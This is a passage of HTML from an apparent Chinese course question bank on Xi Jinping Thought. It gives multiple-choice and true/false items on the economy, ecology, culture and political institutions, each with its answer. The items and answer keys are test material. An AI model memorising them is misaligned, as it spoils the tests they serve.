href="#二-多选题（7-题，7-0-分）-2" class="headerlink" title="二.多选题（7 题，7.0 分）"></a>二.多选题（7 题，7.0 分）</h3><p><strong>1、全面从严治党，要求增强()，坚决维护党中央权威和集中统一领导。</strong><br>A. 政治意识<br>B. 大局意识<br>C. 核心意识<br>D. 看齐意识<br>正确答案：ABCD<br><strong>2、党的十八大以来的历史性成就带来的中国社会全方位的变革有()。</strong><br>A. 发展观念不正确、发展方式粗放的状况得到明显改变<br>B. 我国从社会主义初级阶段进入社会主义中级阶段<br>C. 有法不依、执法不严、司法不公问题严重的状况得到明显改变<br>D. 忽视生态环境保护、生态环境恶化的状况得到明显改变</p><p>正确答案：ACD<br><strong>3、党的十八大以来，我国经济建设取得的重大成就有()。</strong><br>A. 经济保持中高速增长<br>B. 对世界经济增长贡献率超过 30?<br>C. 经济总量稳居世界第一位<br>D. 经济结构不断优化<br>正确答案：ABD<br><strong>4、在人类思想史上，就()而言，没有一种思想理论能达到马克思主义的高度，也没有一种学说能像马克思主义那样对世界产生了如此巨大的影响。</strong></p><p>A. 科学性<br>B. 真理性<br>C. 影响力<br>D. 传播面<br>正确答案：ABCD<br><strong>5、以下属于习近平新时代中国特色社会主义思想对关系人类前途命运的重大问题的回答的有()。</strong><br>A. “一带一路”建设<br>B. 世界经济复苏方案<br>C. “人类命运共同体”理念<br>D. 新型经济全球化方案<br>正确答案：ABCD<br><strong>6、新时代中国特色社会主义基本方略要求坚持推动构建人类命运共同体，坚持正确义利观，树立()的新安全观，谋求开放创新、包容互惠的发展前景。</strong><br>A. 共同<br>B. 综合<br>C. 合作<br>D. 可持续<br>正确答案：ABCD<br><strong>7、新时代中国特色社会主义基本方略要求坚持全面从严治党，不断增强党()的能力，始终保持党同人民群众的血肉联系。</strong><br>A. 自我净化<br>B. 自我完善<br>C. 自我革新<br>D. 自我提高<br>正确答案：ABCD </p><h3 id="三-判断题（9-题，9-0-分）-1"><a href="#三-判断题（9-题，9-0-分）-1" class="headerlink" title="三.判断题（9 题，9.0 分）"></a>三.判断题（9 题，9.0 分）</h3><p><strong>1、我国单位 GDP 能耗近年来不断提高，高质量发展任重道远。</strong></p><p>正确答案： 错<br><strong>2、近年来，中国的反腐败斗争压倒性态势已经形成并巩固发展。</strong></p><p>正确答案： 对<br><strong>3、我国人民生活水平尚未达到中等偏上收入国家水平，还需要经过十几年的努力。</strong></p><p>正确答案： 错<br><strong>4、九年义务教育已在我国全面普及。</strong></p><p>正确答案： 对<br><strong>5、习近平新时代中国特色社会主义思想开辟了马克思主义新境界。</strong></p><p>正确答案： 对<br><strong>6、习近平新时代中国特色社会主义思想是当代中国马克思主义。</strong></p><p>正确答案： 对<br><strong>7、习近平新时代中国特色社会主义思想对人类文明进步具有重要意义。</strong></p><p>正确答案： 对<br><strong>8、由于南北世界之间的巨大差异，坚持全面深化改革，只需要吸收西方发达国家有益成果。</strong></p><p>正确答案： 错</p><p><strong>9、坚持和完善我国社会主义基本经济制度和分配制度，就要使市场在资源配置中起基础性作用。</strong></p><p>正确答案： 错</p><h2 id="第九章"><a href="#第九章" class="headerlink" title="第九章"></a>第九章</h2><h3 id="一-单选题（5-题，5-0-分）"><a href="#一-单选题（5-题，5-0-分）" class="headerlink" title="一.单选题（5 题，5.0 分）"></a>一.单选题（5 题，5.0 分）</h3><p><strong>1、我们的国家，我们的民族，从近代积贫积弱一步一步走到今天的发展繁荣，靠的就是一代又一代人的顽强拼搏，靠的就是中华民族()的奋斗精神。</strong><br>A. 知难而退<br>B. 听天由命<br>C. 心灰意懒<br>D. 自强不息<br>正确答案：D<br><strong>2、我们将坚定不移走()道路，既努力争取和平的国际环境发展自己，又以自身的发展促进世界和平。</strong><br>A. 文化发展<br>B. 经济发展<br>C. 政治发展<br>D. 和平发展<br>正确答案：D<br><strong>3、弘扬中国精神，就是弘扬以爱国主义为核心的民族精神和以()为核心的时代精神。</strong><br>A. 实用主义<br>B. 拜金主义<br>C. 改革创新<br>D. 儒家文化<br>正确答案：C </p><p><strong>4、中华民族精神的核心是()。</strong><br>A. 为人民服务<br>B. 爱国主义<br>C. 自强不息<br>D. 集体主义<br>正确答案：B<br><strong>5、“两个一百年”奋斗目标的第一个阶段，从 2020 年到()年，在全面建成小康社会的基础</strong><br><strong>上，再奋斗 15 年，基本实现社会主义现代化。</strong><br>A. 2045<br>B. 2035<br>C. 2030<br>D. 2040<br>正确答案：B </p><h3 id="二-多选题（6-题，6-0-分）"><a href="#二-多选题（6-题，6-0-分）" class="headerlink" title="二.多选题（6 题，6.0 分）"></a>二.多选题（6 题，6.0 分）</h3><p><strong>1、要增强对中国特色社会主义的()，坚定不移沿着正确的中国道路奋勇前进。</strong><br>A. 道路自信<br>B. 理论自信</p><p>C. 制度自信<br>D. 文化自信<br>正确答案：ABCD<br><strong>2、广大海外侨胞有着()，是实现中国梦的重要力量。</strong><br>A. 赤忱的爱国情怀<br>B. 雄厚的经济实力<br>C. 丰富的智力资源<br>D. 广泛的商业人脉<br>正确答案：ABCD<br><strong>3、国家富强、民族振兴、人民幸福，三者之间的关系是()。</strong><br>A. 国家富强是民族振兴、人民幸福的唯一目标<br>B. 国家富强、民族振兴是人民幸福的基础和保障<br>C. 人民幸福是国家富强、民族振兴的题中之义和必然要求<br>D. 人民幸福是国家富强、民族振兴的根本出发点和落脚点正确答案：BCD<br><strong>4、习近平用()这三句诗将中华民族的昨天、今天和明天熔铸于百余年中国波澜壮阔、沧桑巨变的历史图景，展现于几代人为民族复兴奋斗的艰辛历程。</strong><br>A. “雄关漫漫真如铁”<br>B. “人间正道是沧桑”<br>C. “长风破浪会有时”<br>D. “千里之行，始于足下”<br>正确答案：ABC </p><p><strong>5、中国梦的实现途径是()。</strong><br>A. 走中国道路<br>B. 弘扬中国精神<br>C. 凝聚中国力量<br>D. 巩固中国国防<br>正确答案：ABC<br><strong>6、中国梦是()的梦，与各国人民的美好梦想是相通的，不仅造福中国人民，也有益于世界的和平与发展。</strong><br>A. 和平<br>B. 发展<br>C. 合作<br>D. 共赢<br>正确答案：ABCD </p><h3 id="三-判断题（10-题，10-0-分）"><a href="#三-判断题（10-题，10-0-分）" class="headerlink" title="三.判断题（10 题，10.0 分）"></a>三.判断题（10 题，10.0 分）</h3><p><strong>1、习近平指出：“实现中国梦必须走中国道路、弘扬中国精神、凝聚中国力量。”</strong> </p><p>正确答案： 对<br><strong>2、爱国主义是中华民族的精神基因，维系着华夏大地上各个民族的团结统一，激励着一代又一代中华儿女为祖国发展繁荣而不懈奋斗。</strong></p><p>正确答案： 对<br><strong>3、改革创新体现了中华民族最深沉的民族禀赋，反映了当代中国发展进步的要求，始终是鞭策我们在改革开放中与时俱进的精神力量。</strong></p><p>正确答案： 对</p><p><strong>4、习近平指出实现中华民族伟大复兴就是中华民族近代以来最伟大的梦。</strong></p><p>正确答案： 对<br><strong>5、坚持和发展中国特色社会主义的总任务，是实现社会主义现代化和中华民族伟大复兴。</strong></p><p>正确答案： 对<br><strong>6、中国梦的本质是国家富强、民族振兴、人民幸福。</strong></p><p>正确答案： 对<br><strong>7、中国梦是和平、发展、合作、共赢的梦。</strong></p><p>正确答案： 对<br><strong>8、到 2050 年，是否建成社会主义现代化强国的关键指标不再看国内生产总值，而应该只看人均国内生产总值。</strong><br>正确答案： 错<br><strong>9、基本实现社会主义现代化在生态文明建设方面的体现是，生态环境根本好转，美丽中国目标基本实现。</strong></p><p>正确答案： 对<br><strong>10、在经济建设方面，我国经济实力、科技实力将大幅跃升，跻身创新型国家前列。我国经济将保持中高速增长、产业迈向中高端水平，经济发展实现由数量和规模扩张向质量和效益提升的根本转变。</strong></p><p>正确答案： 对</p><h2 id="第十章"><a href="#第十章" class="headerlink" title="第十章"></a>第十章</h2><h3 id="一-单选题（31-题，31-0-分）"><a href="#一-单选题（31-题，31-0-分）" class="headerlink" title="一.单选题（31 题，31.0 分）"></a>一.单选题（31 题，31.0 分）</h3><p><strong>1、()是一国经济的立身之本，是财富创造的根本源泉，是国家强盛的重要支柱，是现代化经济体系的坚实基础。</strong><br>A. 互联网经济<br>B. 出口贸易<br>C. 实体经济<br>D. 房地产经济<br>正确答案：C<br><strong>2、伴随中国特色社会主义进入新时代，我国经济已由高速增长阶段转向()，正处在转变发展方式、优化经济结构、转换增长动力的攻关期。</strong><br>A. 高效率发展阶段<br>B. 高产能发展阶段<br>C. 高质量发展阶段<br>D. 高收益发展阶段<br>正确答案：C </p><p><strong>3、()是引领发展的第一动力。</strong><br>A. 开放<br>B. 科技<br>C. 改革<br>D. 创新<br>正确答案：D<br><strong>4、推进增长动能转换，以加快发展()为重点全面提升实体经济。</strong><br>A. 房地产业</p><p>B. 重型工业<br>C. 金融产业<br>D. 先进制造业<br>正确答案：D<br><strong>5、()是党中央从党和国家事业全局出发，着眼于实现“两个一百年”奋斗目标、顺应中国特色社会主义进入新时代的新要求作出的重大决策部署。</strong><br>A. 建设合理的金融经济体系<br>B. 建立完整的国民经济体系<br>C. 建立完备的进出口贸易体系<br>D. 建设现代化经济体系<br>正确答案：D<br><strong>6、建设社会主义生态文明必须做到，树立社会主义生态文明新理念、坚持节约资源和保护环境的基本国策以及()。</strong><br>A. 以GDP 为核心追求<br>B. 开发与保护并重<br>C. 完善生态文明制度体系<br>D. 先污染，后治理<br>正确答案：C<br><strong>7、在环保工作中，把预防为主、()放在首位。</strong><br>A. 及时治理<br>B. 源头治理<br>C. 有偿治理<br>D. 政府治理<br>正确答案：B<br><strong>8、生态文明建设要注重经济发展与生态环境保护的和谐共进，坚持在保护中发展、()，更加自觉地推进绿色发展、循环发展、低碳发展。</strong><br>A. 在继承中发展<br>B. 在发展中保护<br>C. 在创新中发展<br>D. 在继承上创新<br>正确答案：B<br><strong>9、生态文明建设的核心是正确处理人与()的关系。</strong><br>A. 社会<br>B. 自然<br>C. 国家<br>D. 团体<br>正确答案：B<br><strong>10、党的十八大提出，面对资源约束趋紧、环境污染严重、生态系统退化的严峻形势，必须树立()、顺应自然、保护自然的生态文明理念。</strong><br>A. 改造自然<br>B. 尊重自然<br>C. 人化自然<br>D. 破坏自然<br>正确答案：B</p><p><strong>11、国家安全事件易发多发，维护国家安全任务繁重，要主动适应新时代国家安全需要，增强风险意识，坚持()、法治保障、文化支撑，推进安全工作精细化、信息化、法治化。</strong><br>A. 制度引领<br>B. 军事引领<br>C. 科技引领<br>D. 信念引领<br>正确答案：C<br><strong>12、必须弘扬生命至上、安全第一的思想，完善()，坚决遏制重特大安全事故。</strong><br>A. 社会保障制度<br>B. 就业创业负责制<br>C. 社会组织负责制<br>D. 安全生产责任制<br>正确答案：D<br><strong>13、保障和改善民生是一个长期工作。以下关于民生问题，表述正确的是()。</strong><br>A. 保障和改善民生只有新起点，没有终点<br>B. 保障和改善民生是一个革命时期的中心任务<br>C. 保障和改善民生只是一个社会发展到一定阶段所要面临的工作<br>D. 保障和改善民生只是发展中国家面临的重要问题</p><p>正确答案：A<br><strong>14、社会主义核心价值观的内涵丰富。其中，自由、平等、公正、法治是()。</strong><br>A. 国家层面的价值要求<br>B. 公民个人层面的价值要求<br>C. 社会层面的价值要求<br>D. 传统层面的价值要求<br>正确答案：C<br><strong>15、坚持中国特色社会主义文化发展道路，发展()。</strong><br>A. 世界的绝对的唯美的文化<br>B. 包容的人文的多样的文化<br>C. 民族的科学的大众的文化<br>D. 保守的永恒的孤高的<br>正确答案：C<br><strong>16、发展文化事业，建立覆盖全社会的比较完备的公共文化服务体系，是我们建设社会主义文化强国的重要内容。发展文化事业，必须坚持()。</strong><br>A. 社会团体主导<br>B. 市场主导<br>C. 企业主导<br>D. 政府主导<br>正确答案：D<br><strong>17、社会主义政治文明建设的根本出发点和归宿是()。</strong><br>A. 中国共产党的领导<br>B. 依法治国<br>C. 人民当家作主<br>D. 加快推进社会主义民主政治制度化、规范化、程序化</p><p>正确答案：C</p><p><strong>18、中国共产党领导的多党合作和政治协商制度是一种社会主义的新型政党制度。这一制度的首要前提和根本保证是()。</strong><br>A. 多党合作<br>B. 长期共存<br>C. 中国共产党的领导<br>D. 互相监督<br>正确答案：C<br><strong>19、下面不属于我国基层民主自治体系的是()。</strong><br>A. 农村村民委员会<br>B. 城市居民委员会<br>C. 个体劳动者协会<br>D. 企业职工代表大会<br>正确答案：C<br><strong>20、更好发挥人大代表作用，使各级人大及其常委会成为全面担负起()法律赋予的各项职责的工作机关，成为同人民群众保持密切联系的代表机关。</strong><br>A. 立法法<br>B. 刑法<br>C. 宪法<br>D. 选举法<br>正确答案：C<br><strong>21、当代中国最直接、最广泛的民主实践是()。</strong><br>A. 民族区域自治制度<br>B. 基层群众自治制度<br>C. 人民代表大会制度<br>D. 中国共产党领导的多党合作和政治协商制度</p><p>正确答案：B<br><strong>22、人民政协的一个功能在于()党和国家重大方针政策和重要决策部署的贯彻落实。</strong><br>A. 管理<br>B. 监督<br>C. 推动<br>D. 领导<br>正确答案：B </p><p><strong>23、我国的根本政治制度是()。</strong><br>A. 人民代表大会制度<br>B. 人民民主专政<br>C. 民族区域自治制度<br>D. 共产党领导的多党合作和政治协商制度</p><p>正确答案：A<br><strong>24、中国人民政治协商会议的主要职能是()。</strong><br>A. 制定国家法律法规<br>B. 政治协商、民主监督、参政议政<br>C. 决定国家经济社会的重大问题<br>D. 管理民族事务<br>正确答案：B</p><p><strong>25、社会主义民主政治的本质和核心要求是()。</strong><br>A. 中国共产党的领导<br>B. 人民当家作主<br>C. 依法治国<br>D. 党的领导、人民当家作主和依法治国的统一</p><p>正确答案：B<br><strong>26、中国共产党同各民主党派合作的基本方针是()。</strong><br>A. 长期共存、互相监督、肝胆相照、荣辱与共<br>B. 坚持共产党的领导<br>C. 坚持思想基本原则<br>D. 发展社会主义民主政治，建设社会主义政治文明</p><p>正确答案：A<br><strong>27、我国是()领导的、以工农联盟为基础的人民民主专政的社会主义国家，国家一切权力属于人民。</strong><br>A. 知识分子<br>B. 农民阶级<br>C. 资产阶级<br>D. 工人阶级<br>正确答案：D<br><strong>28、人民当家作主和依法治国的根本保证是()。</strong><br>A. 人民代表大会<br>B. 人民民主专政<br>C. 社会主义法治<br>D. 中国共产党的领导<br>正确答案：D<br><strong>29、坚持党的领导，就要发挥党总揽全局、协调各方的()。</strong><br>A. 平衡各方作用<br>B. 监督管理作用<br>C. 推动发展作用<br>D. 领导核心作用<br>正确答案：D </p><p><strong>30、以下对人民政协理解正确的是()。</strong><br>A. 统一战线的组织<br>B. 服从中央人民政府的统一领导<br>C. 受人大委托，向人大负责<br>D. 国家行政机关的重要组成部分<br>正确答案：A<br><strong>31、中国特色社会主义最本质特征和最大优势是()。</strong><br>A. 党的领导<br>B. 社会主义与市场经济相结合<br>C. 人民主体地位<br>D. 依法治国和以德治国相结合<br>正确答案：A </p><h3 id="二-多选题（60-题，60-0-分）"><a href="#二-多选题（60-题，60-0-分）" class="headerlink" title="二.多选题（60 题，60.0 分）"></a>二.多选题（60 题，60.0 分）</h3><p><strong>1、人是生产力中最活跃的因素。加大人力资本培育力度，更加注重调动和保护人的积极性。要建设()劳动者大军。</strong><br>A. 力量型<br>B. 知识型<br>C. 技能型<br>D. 创新型<br>正确答案：BCD<br><strong>2、深化经济体制改革，坚决破除各方面体制机制弊端，激发全社会创新创业活力。必须毫不动摇巩固和发展公有制经济，毫不动摇()非公有制经济发展。</strong><br>A. 限制<br>B. 鼓励<br>C. 支持<br>D. 引导<br>正确答案：BCD<br><strong>3、着力发展开放型经济，要在开放的范围和层次上进一步拓展，更要在开放的()上进一步拓展。</strong><br>A. 限定配额<br>B. 思想观念<br>C. 结构布局<br>D. 体制机制<br>正确答案：BCD<br><strong>4、新发展理念立足于当前我国的新发展环境、新发展条件，是符合我国国情、顺应时代潮流、厚植发展优势的重大抉择，具有()。</strong><br>A. 滞后性<br>B. 战略性<br>C. 纲领性<br>D. 引领性<br>正确答案：BCD<br><strong>5、建设现代化经济体系是我国发展的战略目标，也是()的迫切要求。</strong><br>A. 解决温饱问题<br>B. 转变经济发展方式<br>C. 优化经济结构<br>D. 转换经济增长动力<br>正确答案：BCD<br><strong>6、要建设体现效率、促进公平的收入分配体系，实现()，推进基本公共服务均等化，逐步缩小收入分配差距。</strong><br>A. 无差别的共享财富<br>B. 收入分配合理<br>C. 社会公平正义<br>D. 全体人民共同富裕<br>正确答案：BCD<br><strong>7、面对经济社会发展的()，党的十八届五中全会坚持以人民为中心的发展思想，鲜明提出了创新、协调、绿色、开放、共享的新发展理念。</strong><br>A. 新趋势</p><p>B. 新机遇<br>C. 新矛盾<br>D. 新挑战<br>正确答案：ABCD<br><strong>8、创新是引领发展的第一动力。坚持创新发展，就是把创新摆在国家发展全局的核心位置，不断推进()等各方面创新，让创新贯穿党和国家一切工作，让创新在全社会蔚然成风。</strong><br>A. 理论创新<br>B. 制度创新<br>C. 科技创新<br>D. 文化创新<br>正确答案：ABCD<br><strong>9、绿色发展，就是要解决好人与自然和谐共生问题，坚定走生产发展、生活富裕、生态良好的文明发展道路，加快建设()社会，形成人与自然和谐发展现代化建设新格局，推进美丽中国建设。</strong><br>A. 资源节约型<br>B. 环境友好型<br>C. 高效榨取型<br>D. 田园浪漫型<br>正确答案：AB<br><strong>10、坚持开放发展，就要奉行互利共赢的开放战略，坚持()，发展更高层次的开放型经济， 积极参与全球经济治理和公共产品供给，提高我国在全球经济治理中的制度性话语权，构建广泛的利益共同体。</strong><br>A. 内外需协调<br>B. 进出口平衡<br>C. 引进来和走出去并重<br>D. 引资和引技引智并举<br>正确答案：ABCD<br><strong>11、要建设统一开放、竞争有序的市场体系，以实现()。</strong><br>A. 市场准入畅通<br>B. 市场开放有序<br>C. 市场竞争充分<br>D. 市场秩序规范<br>正确答案：ABCD<br><strong>12、要建设彰显优势、协调联动的城乡区域发展体系，实现()。</strong><br>A. 区域良性互动<br>B. 城乡区别发展<br>C. 城乡融合发展<br>D. 陆海统筹整体优化<br>正确答案：ACD<br><strong>13、只有形成现代化经济体系，才能更好地()。</strong><br>A. 顺应现代化发展潮流<br>B. 赢得国际竞争主动<br>C. 维持经济的超高速增长<br>D. 为其他领域现代化提供有力支撑</p><p>正确答案：ABD<br><strong>14、党的十八大提出，面对资源约束趋紧、环境污染严重、生态系统退化的严峻形势，必须树立()的生态文明理念。</strong><br>A. 征服自然<br>B. 尊重自然<br>C. 顺应自然<br>D. 保护自然<br>正确答案：BCD<br><strong>15、要注重经济发展与生态保护的和谐共进，坚持在保护中发展、在发展中保护，更加自觉地推进()。</strong><br>A. 粗放发展<br>B. 绿色发展<br>C. 循环发展<br>D. 低碳发展<br>正确答案：BCD<br><strong>16、下列关于生态文明新理念表述正确的是()。</strong><br>A. 既要绿水青山，也要金山银山<br>B. 宁要绿水青山，不要金山银山<br>C. 绿水青山就是金山银山<br>D. 要金山银山，不要绿水青山<br>正确答案：ABC<br><strong>17、建设生态文明是一场涉及()的革命性变革。</strong><br>A. 生产方式<br>B. 生活方式<br>C. 价值观念<br>D. 思维方式<br>正确答案：ABCD<br><strong>18、把节约资源放在首位，要求必须在()加强节约。</strong><br>A. 全社会<br>B. 全领域<br>C. 农村<br>D. 城市<br>正确答案：ABCD<br><strong>19、建设社会主义的生态文明就是要实现()。</strong><br>A. 和谐发展<br>B. 可持续发展<br>C. 全面发展<br>D. 循环发展<br>正确答案：ABCD<br><strong>20、习近平提出：“建设生态文明，把生态文明建设放在突出地位，融入()等各方面和全过程，努力建设美丽中国，实现中华民族永续发展”。</strong><br>A. 文化建设<br>B. 社会建设<br>C. 经济建设</p><p>D. 政治建设<br>正确答案：ABCD<br><strong>21、我国的生态文明建设必须立足于当前特殊的()以及人口素质等，走符合国情的社会主义生态文明建设道路。</strong><br>A. 自然生态环境现状<br>B. 经济发展水平<br>C. 文化建设状况<br>D. 社会政治条件<br>正确答案：ABCD </p><p><strong>22、通过狠抓()，实现资源节约。</strong><br>A. 节能减排降低消耗<br>B. 水资源节约利用<br>C. 矿产资源节约利用<br>D. 土地节约集约利用<br>正确答案：ABCD<br><strong>23、形成人与自然和谐发展新格局，需建成节约资源和保护环境的()。</strong><br>A. 空间格局<br>B. 产业结构<br>C. 生产方式<br>D. 生活方式<br>正确答案：ABCD<br><strong>24、在生态环境保护上，一定要树立()，不能因小失大、顾此失彼、寅吃卯粮、急功近利。</strong><br>A. 大局观<br>B. 时效观<br>C. 长远观<br>D. 整体观<br>正确答案：ACD<br><strong>25、坚持房子是用来住的、不是用来炒的定位，加快建立()的住房制度，让全体人民住有所居。</strong><br>A. 多主体供给<br>B. 多渠道保障<br>C. 租购并举<br>D. 限额购买<br>正确答案：ABC<br><strong>26、加强预防和化解社会矛盾机制建设，要完善矛盾纠纷多元化解机制，积极推动()联动工作体系形成。</strong><br>A. 人民调解<br>B. 行政调解<br>C. 司法调解<br>D. 就地化解<br>正确答案：ABC </p><p><strong>27、改进社会治理方式，要坚持()。</strong><br>A. 系统治理<br>B. 依法治理</p><p>C. 综合治理<br>D. 源头治理<br>正确答案：ABCD </p><p><strong>28、保障和改善民生，要做到的有()。</strong><br>A. 优先发展教育事业<br>B. 提高就业质量和人民收入水平<br>C. 加强社会保障体系建设<br>D. 坚决打赢脱贫攻坚战<br>正确答案：ABCD<br><strong>29、社会保障体系发挥兜底作用，保障全社会成员基本生存与生活需要，要全面建成()以及可持续的多层次社会保障体系。</strong><br>A. 覆盖全民<br>B. 城乡统筹<br>C. 权责清晰<br>D. 保障适度<br>正确答案：ABCD<br><strong>30、实施健康中国战略，要深化()改革，健全现代医院管理制度。</strong><br>A. 医疗卫生<br>B. 医疗保障<br>C. 医疗服务<br>D. 药品供应<br>正确答案：ABCD<br><strong>31、加强社会心理服务体系建设，推动全社会践行社会主义核心价值观，培育()的良好风尚。</strong><br>A. 知荣辱<br>B. 讲正气<br>C. 作奉献<br>D. 促和谐<br>正确答案：ABCD<br><strong>32、加强国家安全能力建设，要()，筑起铜墙铁壁，使暴力恐怖分子成为“过街老鼠、人人喊打”。</strong><br>A. 建立健全反恐工作格局<br>B. 完善反恐工作体系<br>C. 加强反恐力量建设<br>D. 加强反恐国际合作<br>正确答案：ABCD<br><strong>33、动员全党全国全社会力量，坚持精准扶贫、精准脱贫，坚持()的工作机制。</strong><br>A. 中央统筹<br>B. 省负总责<br>C. 家族负责<br>D. 市县抓落实<br>正确答案：ABD<br><strong>34、要加强人口服务管理，更多运用()手段，促进入口有序流动，控制人口总量，优化人口结构。</strong></p><p>A. 市场化<br>B. 限制性<br>C. 法治化<br>D. 强迫性<br>正确答案：AC<br><strong>35、建设中国特色社会主义文化，必须建设具有强大凝聚力、引领力的社会主义意识形态， 使全体人民在()上紧紧团结在一起，巩固马克思主义在意识形态领域的指导地位，牢牢掌握意识形态工作领导权。</strong><br>A. 生活方式<br>B. 理想信念<br>C. 价值理念<br>D. 道德观念<br>正确答案：BCD </p><p><strong>36、建设社会主义文化强国，需要()。</strong><br>A. 构建市场为主导的文化事业发展格局<br>B. 培养高度的文化自觉自信<br>C. 大力发展文化事业和文化产业<br>D. 必须加快文化体制改革<br>正确答案：BCD<br><strong>37、相对于社会主义核心价值体系，社会主义核心价值观()</strong><br>A. 更加清晰地突出了建设社会主义文化的核心要素<br>B. 更加具有实践导向<br>C. 清楚的回答了建设什么样的国家、社会和培养什么样的公民的重大问题<br>D. 具有更全面的理论指导意义<br>正确答案：ABC </p><p><strong>38、社会主义核心价值体系由()构成。</strong><br>A. 马克思主义指导思想<br>B. 中国特色社会主义共同理想<br>C. 以爱国主义为核心的民族精神和以改革创新为核心的时代精神<br>D. 社会主义荣辱观<br>正确答案：ABCD<br><strong>39、社会主义核心价值体系与社会主义核心价值观方向一致，表现在()。</strong><br>A. 体现了社会主义意识形态的本质要求<br>B. 凝聚了社会主义先进文化的精髓<br>C. 体现了社会主义制度在思想和精神层面的质的规定性<br>D. 是实现中华民族伟大复兴的中国梦的价值引领</p><p>正确答案：ABCD<br><strong>40、掌握意识形态工作领导权的要求有()。</strong><br>A. 旗帜鲜明坚持马克思主义指导地位<br>B. 加快构建中国特色哲学社会科学<br>C. 坚持正确的舆论导向<br>D. 落实好意识形态工作责任制<br>正确答案：ABCD<br><strong>41、掌握意识形态工作领导权，必须坚持正确舆论导向，以正确舆论引导人，提高新闻舆论的()。</strong><br>A. 传播力<br>B. 引导力<br>C. 影响力<br>D. 公信力<br>正确答案：ABCD<br><strong>42、培育和践行社会主义核心价值观，还必须发扬中国人民在长期奋斗中培育、继承、发展起来的伟大民族精神，即()。</strong><br>A. 伟大创造精神<br>B. 伟大奋斗精神<br>C. 伟大团结精神<br>D. 伟大梦想精神<br>正确答案：ABCD<br><strong>43、发展文化事业，要坚持政府主导，按照()的要求，加强文化基础设施建设，完善公共文化服务网络。</strong><br>A. 公益性<br>B. 基本性<br>C. 均等性<br>D. 便利性<br>正确答案：ABCD<br><strong>44、下列属于我国构建社会主义文化强国的有利条件的是()。</strong><br>A. 我国经济实力位居世界前列<br>B. 文化产业已经形成我国的支柱性产业<br>C. 我国有着悠久的历史传统和深厚的文化资源<br>D. 人民群众对文化需求的快速增长<br>正确答案：ACD<br><strong>45、所谓文化强国，是指这个国家具有强大的文化力量，这种力量表现为()。</strong><br>A. 高度文化素养的国民<br>B. 发达的文化产业<br>C. 所有现存的传统文化<br>D. 强大的文化软实力<br>正确答案：ABD<br><strong>46、走中国特色社会主义政治发展道路，必须坚持()有机统一。</strong><br>A. 以德治国<br>B. 党的领导<br>C. 人民当家作主<br>D. 依法治国<br>正确答案：BCD<br><strong>47、做好人民政协工作，必须坚持人民政协的性质定位。人民政协是()。</strong><br>A. 中国特色国家行政机构的组成部分<br>B. 中国人民爱国统一战线的组织<br>C. 中国共产党领导的多党合作和政治协商的机构<br>D. 中国政治生活中发扬社会主义民主的重要形式</p><p>正确答案：BCD</p><p><strong>48、在当今世界许多地区民族冲突迭起的情况下，我国各族人民和睦相处，共同建设有中国特色的社会主义，这是因为我国()。</strong><br>A. 形成了平等、团结、互助、和谐的社会主义民族关系<br>B. 社会主义制度的确立消灭了民族压迫<br>C. 实行了民族区域自治制度<br>D. 消除了民族间在经济、文化发展水平方面的差距正确答案：ABC<br><strong>49、健全依法决策机制，构建()的权力运行机制。</strong><br>A. 决策科学<br>B. 执行坚决<br>C. 监督有力<br>D. 人人参与决策<br>正确答案：ABC<br><strong>50、人民代表大会制度是我国根本政治制度，是()的根本政治制度和最髙实现形式。</strong><br>A. 符合中国国情<br>B. 体现中国社会主义国家性质<br>C. 能够保证人民当家作主<br>D. 传承中国传统文化<br>正确答案：ABC<br><strong>51、关于中国特色社会主义民主政治，以下说法正确的是()。</strong><br>A. 中国共产党的领导是人民当家作主和依法治国的根本保证<br>B. 人民当家作主是社会主义民主政治的本质特征<br>C. 依法治国是党领导人民治理国家的基本方式<br>D. 党的领导、人民当家作主和依法治国统一于建设中国特色社会主义民主政治的伟大实践<br>正确答案：ABCD<br><strong>52、基层群众自治制度的含义：依照宪法和法律的规定，由居民（村民）选举的成员组成居民（村民）委员会，实行()的制度。</strong><br>A. 自我管理<br>B. 自我服务<br>C. 自我教育<br>D. 自我监督<br>正确答案：ABCD<br><strong>53、巩固基层政权，完善基层民主制度，保障人民的()。</strong><br>A. 知情权<br>B. 参与权<br>C. 表达权<br>D. 监督权<br>正确答案：ABCD<br><strong>54、发挥人大及其常委会在立法工作中的主导作用，健全人大组织制度和工作制度，支持和保证人大依法行使()，更好发挥人大代表作用。</strong><br>A. 立法权<br>B. 监督权<br>C. 决定权</p><p>D. 任免权<br>正确答案：ABCD<br><strong>55、在长期的革命、建设和改革过程中，已经结成了由中国共产党领导的，有各民主党派和各人民团体参加的，包括()在内的广泛的爱国统一战线。</strong><br>A. 全体社会主义劳动者<br>B. 社会主义事业的建设者<br>C. 拥护社会主义的爱国者<br>D. 拥护祖国统一和致力于中华民族伟大复兴的爱国者正确答案：ABCD<br><strong>56、支持民主党派加强思想、组织、制度特别是领导班子建设，提高()以及解决自身问题能力。</strong><br>A. 政治把握能力<br>B. 参政议政能力<br>C. 组织领导能力<br>D. 合作共事能力<br>正确答案：ABCD<br><strong>57、党的十八大报告提出健全社会主义协商民主制度，把中国特色选举民主同社会主义协商民主相结合。以下选项中内容正确的有()。</strong><br>A. 人民政协的主题是团结、民主<br>B. 人民政协体现了我国国家行政结构的特点和优点<br>C. 人民政协的主要职能是政治协商、民主监督、参政议政<br>D. 人民政协是协商民主的重要渠道<br>正确答案：ACD<br><strong>58、要保持政治定力，坚持从国情出发、从实际出发，既要把握()。</strong><br>A. 长期形成的历史传承<br>B. 必须要立刻实现共产主义理想<br>C. 走过的发展道路、积累的政治经验、形成的政治原则<br>D. 现实要求、着眼解决现实问题<br>正确答案：ACD<br><strong>59、协商民主是中国社会主义民主政治的特有形式和独特优势，是实现党的领导的重要方式，()。</strong><br>A. 丰富了民主的形式<br>B. 能够实现了人民的全部要求<br>C. 拓展了民主的渠道<br>D. 丰富了民主的内涵<br>正确答案：ACD<br><strong>60、发展社会主义民主政治就是要()，用制度体系保证人民当家作主。</strong><br>A. 体现人民意志<br>B. 保障人民权益<br>C. 能够实现人民的全部要求<br>D. 激发人民创造活力<br>正确答案：ABD </p><h3 id="三-判断题（97-题，97-0-分）"><a href="#三-判断题（97-题，97-0-分）" class="headerlink" title="三.判断题（97 题，97.0 分）"></a>三.判断题（97 题，97.0 分）</h3><p><strong>1、社会主义市场经济中强调市场的决定作用，就是可以不用依靠政府。</strong></p><p>正确答案： 错<br><strong>2、收入分配有差距是正常现象，但是差距过大则会让人们产生被剥夺感，影响社会稳定。</strong></p><p>正确答案： 对<br><strong>3、我们通常所说的转变经济发展方式中的“发展方式”指的就是经济增长方式。</strong></p><p>正确答案： 